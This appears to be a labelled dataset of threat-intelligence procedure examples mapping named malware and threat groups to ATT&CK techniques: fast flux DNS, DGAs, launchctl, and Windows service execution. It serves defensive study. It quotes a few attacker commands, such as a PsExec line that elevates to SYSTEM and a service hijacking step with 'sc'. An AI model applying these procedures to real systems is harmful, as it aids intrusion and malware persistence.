Technique: T1568.001 Dynamic Resolution: Fast Flux DNS, Tactic: TA0011 Command and Control
gh0st RAT operators have used dynamic DNS to mask the true location of their C2 behind rapidly changing IP addresses.
Technique: T1568.001 Dynamic Resolution: Fast Flux DNS, Tactic: TA0011 Command and Control
njRAT has used a fast flux DNS for C2 IP resolution.
Technique: T1568.001 Dynamic Resolution: Fast Flux DNS, Tactic: TA0011 Command and Control
APT41 has used DGAs to change their C2 servers monthly.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
TA551 has used a DGA to generate URLs from executed macros.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Aria-body has the ability to use a DGA for C2 communications.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Astaroth has used a DGA in C2 communications.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
BONDUPDATER uses a DGA to communicate with command and control servers.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Bazar can implement DGA using the current date as a seed variable.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
CCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
CHOPSTICK can use a DGA for Fallback Channels, domains are generated by concatenating words from lists.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Conficker has used a DGA that seeds with the current UTC victim system date to generate domains.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
DarkWatchman has used a DGA to generate a domain name for C2.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Doki has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Ebury has used a DGA to generate a domain name for C2.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Grandoreiro can use a DGA for hiding C2 addresses, including use of an algorithm with a user-specific key that changes daily.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Milan can use hardcoded domains as an input for domain generation algorithms.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
MiniDuke can use DGA to generate new Twitter URLs for C2.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
POSHSPY uses a DGA to derive command and control URLs from a word list.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
QakBot can use domain generation algorithms in C2 communication.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
ShadowPad uses a DGA that is based on the day of the month for C2 servers.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Shark can send DNS C2 communications using a unique domain generation algorithm.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
SombRAT can use a custom DGA to generate a subdomain for C2.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
Ursnif has used a DGA to generate domain names for C2.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
ngrok can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.
Technique: T1568.002 Dynamic Resolution: Domain Generation Algorithms, Tactic: TA0011 Command and Control
APT12 has used multiple variants of DNS Calculation including multiplying the first two octets of an IP address and adding the third octet to that value in order to get a resulting command and control port.
Technique: T1568.003 Dynamic Resolution: DNS Calculation, Tactic: TA0011 Command and Control
TeamTNT has created system services to execute cryptocurrency mining software.
Technique: T1569 System Services, Tactic: TA0002 Execution
AppleJeus has loaded a plist file using the `launchctl` command.
Technique: T1569.001 System Services: Launchctl, Tactic: TA0002 Execution
Calisto uses launchctl to enable screen sharing on the victim’s machine.
Technique: T1569.001 System Services: Launchctl, Tactic: TA0002 Execution
LoudMiner launched the QEMU services in the `/Library/LaunchDaemons/` folder using `launchctl`. It also uses `launchctl` to unload all Launch Daemons when updating to a newer version of LoudMiner.
Technique: T1569.001 System Services: Launchctl, Tactic: TA0002 Execution
XCSSET loads a system level launchdaemon using the `launchctl load -w` command from `/System/Librarby/LaunchDaemons/ssh.plist`.
Technique: T1569.001 System Services: Launchctl, Tactic: TA0002 Execution
macOS.OSAMiner has used `launchctl` to restart the Launch Agent.
Technique: T1569.001 System Services: Launchctl, Tactic: TA0002 Execution
During Operation Honeybee, threat actors ran `sc start` to start the COMSysApp as part of the service hijacking and `sc stop` to stop and reconfigure the COMSysApp.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
During Operation Wocao, threat actors created services on remote systems for execution purposes.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
APT32's backdoor has used Windows services as a way to execute its malicious payload.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
APT38 has created new services or modified existing ones to run executables, commands, or scripts.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
APT39 has used post-exploitation tools including RemCom and the Non-sucking Service Manager (NSSM) to execute processes.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
APT41 used  svchost.exe and Net to execute a system service installed to launch a Cobalt Strike BEACON loader.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Blue Mockingbird has executed custom-compiled XMRIG miner DLLs by configuring them to execute via the "wercplsupport" service.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Chimera has used PsExec to deploy beacons on compromised systems.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
FIN6 has created Windows services to execute encoded PowerShell commands.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Ke3chang has used a tool known as RemoteExec (similar to PsExec) to remotely execute batch scripts and binaries.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Silence has used Winexe to install a service on the remote system.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Wizard Spider has used `services.exe` to execute scripts and executables during lateral movement within a victim's network. Wizard Spider has also used batch scripts that leverage PsExec to execute a previously transferred ransomware payload on a victim's network.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Anchor can create and execute services to load its payload.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Attor's dispatcher can be executed as a service.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
BBSRAT can start, stop, or delete services.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Bad Rabbit drops a file named `infpub.dat`into the Windows directory and is executed through SCManager and `rundll.exe`.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Brute Ratel C4 can create Windows system services for execution.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Clambling can create and start services on a compromised host.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
DarkGate tries to elevate privileges to `SYSTEM` using PsExec to locally execute as a service, such as `cmd /c c:\temp\PsExec.exe -accepteula -j -d -s [Target Binary]`.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Empire can use PsExec to execute a payload on a remote host.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
HOPLIGHT has used svchost.exe to execute a malicious DLL .
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
HermeticWiper can create system services to aid in executing the payload.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
HermeticWizard can use `OpenRemoteServiceManager` to create a service.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Hydraq uses svchost.exe to execute a malicious DLL included in a new service group.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
HyperBro has the ability to start and stop a specified service.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Impacket contains various modules emulating other service execution tools such as PsExec.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
InvisiMole has used Windows services as a way to execute its malicious payload.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Koadic can run a command on another machine using PsExec.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
LoudMiner started the cryptomining virtual machine as a service on the infected machine.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Mafalda can create a remote service, let it run once, and then delete it.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
The `net start` and `net stop` commands can be used in Net to execute or stop Windows services.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Net Crawler uses PsExec to perform remote service manipulation to execute a copy of itself as part of lateral movement.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Operators deploying Netwalker have used psexec and certutil to retrieve the Netwalker payload.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
NotPetya can use PsExec to help propagate itself across a network.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Okrum's loader can create a new service named NtmsSvc to execute the payload.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Olympic Destroyer utilizes PsExec to help propagate itself across a network.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Pandora has the ability to install itself as a Windows service.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
PoshC2 contains an implementation of PsExec for remote execution.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Proxysvc registers itself as a service on the victim’s machine to run as a standalone process.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Microsoft Sysinternals PsExec is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Pupy uses PsExec to execute a payload or commands on a remote host.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Pysa has used PsExec to copy and execute the ransomware.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution
Ragnar Locker has used sc.exe to execute a service that it creates.
Technique: T1569.002 System Services: Service Execution, Tactic: TA0002 Execution